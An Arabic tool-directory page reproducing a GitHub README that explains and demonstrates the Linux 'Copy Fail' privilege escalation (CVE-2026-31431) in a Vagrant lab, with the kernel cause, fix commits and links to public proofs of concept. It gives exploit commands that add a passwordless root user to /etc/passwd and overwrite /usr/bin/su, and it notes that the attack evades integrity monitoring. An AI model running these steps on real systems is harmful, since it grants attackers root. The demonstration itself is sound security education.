Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — عرض توضيحي وشرح لـ CVE-2026-31431 | Kitploit
أدوات/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

عرض توضيحي وشرح لـ CVE-2026-31431

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
منذ 2 أشهرلم تتم المراجعة بعد

CVE-2026-31431 CopyFail تصعيد الامتيازات المحلية في لينكس

عرض وشرح لـ CVE-2026-31431، ثغرة تصعيد الامتيازات المحلية Copy Fail في نواة لينكس. تتيح الثغرة إمكانية الكتابة فوق البيانات الموجودة في ذاكرة التخزين المؤقت للصفحات (page cache) للملفات المفتوحة بصلاحية القراءة فقط.

هذا المستودع لأغراض تعليمية فقط ويوضح الثغرة في بيئة محكومة. الملفات المتضمنة هي:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

مقدمة

الثغرة، المسماة Copy Fail، موجودة في نواة لينكس من 2017 إلى 2026 بسبب خلل منطقي في algif_aead. وقد مُنحت المعرف CVE-2026-31431 بدرجة CVSS تبلغ 7.8، مما يؤدي إلى تصنيف عالي الخطورة. الاستغلال حتمي (deterministic) ويمكنه تجاوز أدوات مراقبة سلامة الملفات التقليدية.

نُشرت إثباتات المفهوم بلغات متعددة، بما في ذلك C وPython وGo، لكن في هذا العرض تم استخدام Python وهي تتطلب إصدار 3.10 أو أعلى. يتطلب هذا الاستغلال تنفيذ كود محلي كمستخدم غير مميز ويمكن استخدامه لتصعيد الامتيازات المحلية.

الأقسام التالية هي:

  • الاستغلال: عروض توضيحية للاستغلال وكيفية استخدامه للحصول على صلاحيات الجذر.
  • ملاحظة حول كشف الاستغلال: شرح لسبب صعوبة اكتشاف هذا الاستغلال باستخدام أدوات مراقبة سلامة الملفات التقليدية.
  • الثغرة: رابط إلى الالتزام (commit) الذي أدخل الثغرة وشرح للمشكلة.
  • التصحيح: رابط إلى الالتزام الذي صحح الثغرة وشرح للإصلاح.
  • موارد إضافية: قائمة بالموارد لمزيد من القراءة وتنفيذات الاستغلال بلغات متعددة.

الاستغلال

الإعداد

تأكد من تثبيت Vagrant وQEMU. ثم استنسخ هذا المستودع وانتقل إلى دليل المشروع.

root@kitploit:~
vagrant up
vagrant ssh

داخل الجهاز الافتراضي، يمكننا اختبار حدود صلاحياتنا.

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

من الواضح أن صلاحياتنا محدودة، لكن يمكننا استخدام الثغرة لتصعيد الامتيازات.

العرض التوضيحي 1: فهم الاستغلال

لفهم الثغرة، دعنا نكتب فوق ملف تجريبي ونرى ما يحدث.

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

لدينا ملف بثلاثة أسطر. السطر الأول طوله 6 بايت (بما في ذلك سطر الجديد)، والثاني 2 بايت، والثالث بايت واحد. هذا مهم لأن الاستغلال يكتب فوق البيانات في كتل من 4 بايت، ونحن نضيف حشوًا للحمولة لملء ذلك.

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

يمكننا أن نرى أننا استبدلنا أول 8 بايتات من الملف بحمولتنا. هناك حرفان موجودان لكنهما غير قابلين للطباعة. افتح الملف في nano للتحقق. ولكن هذا ليس مثيرًا للغاية، لذا دعنا ننتقل إلى الكتابة في ملفات لا نملك صلاحية الكتابة إليها.

العرض التوضيحي 2: إزالة كلمة مرور الجذر

يمكننا الكتابة فوق محتويات /etc/passwd لإضافة مستخدم بصلاحيات الجذر ولكن بدون كلمة مرور.

root@kitploit:~
cat /etc/passwd

يحتوي السطر الأول على مستخدم الجذر ويتكون من 8 مجموعات من 4 أحرف (بما في ذلك سطر الجديد). وهو منسق على النحو التالي root:x:0:0:root:/root:/bin/bash، وتشير القيم إلى اسم المستخدم وكلمة المرور وUID وGID والدليل الرئيسي والصدفة (shell).

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

لقد أضفنا مستخدمًا جديدًا hackd بمعرف UID 0 ومعرف GID 0، مما يعني أنه يمتلك صلاحيات الجذر. حقل كلمة المرور فارغ، لذا يمكننا تسجيل الدخول بدون كلمة مرور.

root@kitploit:~
su hackd
id
cat /etc/shadow

العرض التوضيحي 3: الكتابة فوق ملف تنفيذي

في الاستغلال الأصلي، يتم الكتابة فوق الملف الثنائي /usr/bin/su بتعليمات لتنفيذ صدفة (shell)، مما يسمح للمهاجم بالحصول على صلاحيات الجذر عند تنفيذ su. يمكننا إعادة إنشاء هذا الاستغلال عن طريق استهداف /usr/bin/su بالحمولة الأصلية من ملف. لاحظ أن هذا يدمر الملف الثنائي su في ذاكرة التخزين المؤقت للصفحات.

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

مع وضع الحمولة في مكانها، يمكننا تنفيذ su والحصول على صلاحيات الجذر. هذا يفتح صدفة بمعرف المستخدم 0، وهو عادةً مستخدم الجذر، لكن إذا تم تنفيذ العرض التوضيحي أعلاه، فسيكون المستخدم hackd الذي أنشأناه. هذا الاستغلال سيفتح صدفة حتى إذا كان لدى مستخدم root كلمة مرور.

root@kitploit:~
su
id

ملاحظة حول كشف الاستغلال

لا يقوم هذا الاستغلال بتعديل الملف على القرص، بل يعدل حالة ذاكرة التخزين المؤقت للصفحات (page cache). نتيجة لذلك، فإن أدوات مراقبة سلامة الملفات التقليدية التي تتحقق من التغييرات في الملفات على القرص لا تكتشف هذا الاستغلال.

لتوضيح ذلك، قم بتشغيل الاستغلال (أو الاستغلالات) أعلاه ثم بعد إعادة تشغيل الجهاز الافتراضي، تحقق من محتويات الملف المستهدف.

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

الثغرة

المكونات التالية مستخدمة في الاستغلال:

  1. splice
    • ينقل البيانات بين واصفات الملفات دون نسخ
    • تعديل رسالة تم وصلها (spliced) يعدل أيضًا ذاكرة التخزين المؤقت للصفحات
  2. recvmsg
    • يستقبل المعلومات المسيَّرة وينقل البيانات إلى المخزن المؤقت للعملية التشفيرية
    • يتم نسخ المدخلات AD وCT، بينما يتم تمرير TAG بالمرجع AD||CT||TAG
  3. authensc
    • هناك افتراض بأن AD وCT فقط يتم تعديلهما، لكن aythensc يكسر هذا الافتراض
    • يتم تقسيم AD إلى seqno_hi وseqno_lo ويقوم authensc بتبديل ترتيبهما في نفس المكان عن طريق نسخه بعد TAG
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • يتم نسخ هذا التسلسل إلى الموقع المرجعي.

الالتزام (commit) الذي مكّن التحسين في نفس المكان الذي أنشأ هذه الثغرة:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

التصحيح

تم إصدار التصحيح دون أي إعلانات عامة ويعمل على إزالة وظيفة العملية في نفس المكان في algif_aead:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

موارد إضافية

اقرأ المزيد:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

تنفيذات Python

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

تنفيذات C

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

تنفيذات Go

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
تنزيل الأداة